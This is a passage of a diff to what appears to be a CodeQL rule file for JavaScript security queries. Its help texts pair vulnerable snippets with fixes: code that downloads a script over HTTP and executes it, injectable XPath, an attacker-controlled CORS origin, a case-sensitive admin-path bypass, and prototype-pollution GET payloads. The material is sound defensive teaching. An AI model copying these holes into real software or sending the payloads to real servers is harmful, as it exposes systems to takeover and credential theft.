Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n",
+            "markdown" : "# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n"
+          },
+          "properties" : {
+            "tags" : [ "security", "external/cwe/cwe-209", "external/cwe/cwe-497" ],
+            "description" : "Propagating stack trace information to an external user can\n              unintentionally reveal implementation details that are useful\n              to an attacker for developing a subsequent exploit.",
+            "id" : "js/stack-trace-exposure",
+            "kind" : "path-problem",
+            "name" : "Information exposure through a stack trace",
+            "precision" : "very-high",
+            "problem.severity" : "warning",
+            "security-severity" : "5.4"
+          }
+        }, {
+          "id" : "js/insecure-download",
+          "name" : "js/insecure-download",
+          "shortDescription" : {
+            "text" : "Download of sensitive file through insecure connection"
+          },
+          "fullDescription" : {
+            "text" : "Downloading executables and other sensitive files over an insecure connection opens up for potential man-in-the-middle attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n",
-            "markdown" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n"
+            "text" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n",
+            "markdown" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-643" ],
-            "description" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
-            "id" : "js/xpath-injection",
+            "tags" : [ "security", "external/cwe/cwe-829" ],
+            "description" : "Downloading executables and other sensitive files over an insecure connection\n              opens up for potential man-in-the-middle attacks.",
+            "id" : "js/insecure-download",
             "kind" : "path-problem",
-            "name" : "XPath injection",
+            "name" : "Download of sensitive file through insecure connection",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.8"
+            "security-severity" : "8.1"
           }
         }, {
-          "id" : "js/case-sensitive-middleware-path",
-          "name" : "js/case-sensitive-middleware-path",
+          "id" : "js/cors-misconfiguration-for-credentials",
+          "name" : "js/cors-misconfiguration-for-credentials",
           "shortDescription" : {
-            "text" : "Case-sensitive middleware path"
+            "text" : "CORS misconfiguration for credentials transfer"
           },
           "fullDescription" : {
-            "text" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths."
+            "text" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n",
-            "markdown" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n"
+            "text" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n",
+            "markdown" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-178" ],
-            "description" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths.",
-            "id" : "js/case-sensitive-middleware-path",
-            "kind" : "problem",
-            "name" : "Case-sensitive middleware path",
+            "tags" : [ "security", "external/cwe/cwe-346", "external/cwe/cwe-639", "external/cwe/cwe-942" ],
+            "description" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials.",
+            "id" : "js/cors-misconfiguration-for-credentials",
+            "kind" : "path-problem",
+            "name" : "CORS misconfiguration for credentials transfer",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.3"
+            "problem.severity" : "error",
+            "security-severity" : "7.5"
           }
         }, {
           "id" : "js/jwt-missing-verification",
@@ -1599,328 +1535,328 @@
             "security-severity" : "7.0"
           }
         }, {
-          "id" : "js/clear-text-cookie",
-          "name" : "js/clear-text-cookie",
+          "id" : "js/exposure-of-private-files",
+          "name" : "js/exposure-of-private-files",
           "shortDescription" : {
-            "text" : "Clear text transmission of sensitive cookie"
+            "text" : "Exposure of private files"
           },
           "fullDescription" : {
-            "text" : "Sending sensitive information in a cookie without requring SSL encryption can expose the cookie to an attacker."
+            "text" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure of private information."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n",
-            "markdown" : "# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n"
+            "text" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n",
+            "markdown" : "# Exposure of private files\nLibraries like `express` provide easy methods for serving entire directories of static files from a web server. However, using these can sometimes lead to accidental information exposure. If for example the `node_modules` folder is served, then an attacker can access the `_where` field from a `package.json` file, which gives access to the absolute path of the file.\n\n\n## Recommendation\nLimit which folders of static files are served from a web server.\n\n\n## Example\nIn the example below, all the files from the `node_modules` are served. This allows clients to easily access all the files inside that folder, which includes potentially private information inside `package.json` files.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));\n```\nThe issue has been fixed below by only serving specific folders within the `node_modules` folder.\n\n\n```javascript\n\nvar express = require('express');\n\nvar app = express();\n\napp.use(\"jquery\", express.static('./node_modules/jquery/dist'));\napp.use(\"bootstrap\", express.static('./node_modules/bootstrap/dist'));\n```\n\n## References\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-219](https://cwe.mitre.org/data/definitions/219.html).\n* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-614", "external/cwe/cwe-311", "external/cwe/cwe-312", "external/cwe/cwe-319" ],
-            "description" : "Sending sensitive information in a cookie without requring SSL encryption\n              can expose the cookie to an attacker.",
-            "id" : "js/clear-text-cookie",
+            "tags" : [ "security", "external/cwe/cwe-200", "external/cwe/cwe-219", "external/cwe/cwe-548" ],
+            "description" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure\n              of private information.",
+            "id" : "js/exposure-of-private-files",
             "kind" : "problem",
-            "name" : "Clear text transmission of sensitive cookie",
+            "name" : "Exposure of private files",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "5.0"
+            "security-severity" : "6.5"
           }
         }, {
-          "id" : "js/prototype-pollution",
-          "name" : "js/prototype-pollution",
+          "id" : "js/insufficient-key-size",
+          "name" : "js/insufficient-key-size",
           "shortDescription" : {
-            "text" : "Prototype-polluting merge call"
+            "text" : "Use of a weak cryptographic key"
           },
           "fullDescription" : {
-            "text" : "Recursively merging a user-controlled object into another object can allow an attacker to modify the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."
+            "text" : "Using a weak cryptographic key can allow an attacker to compromise security."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: 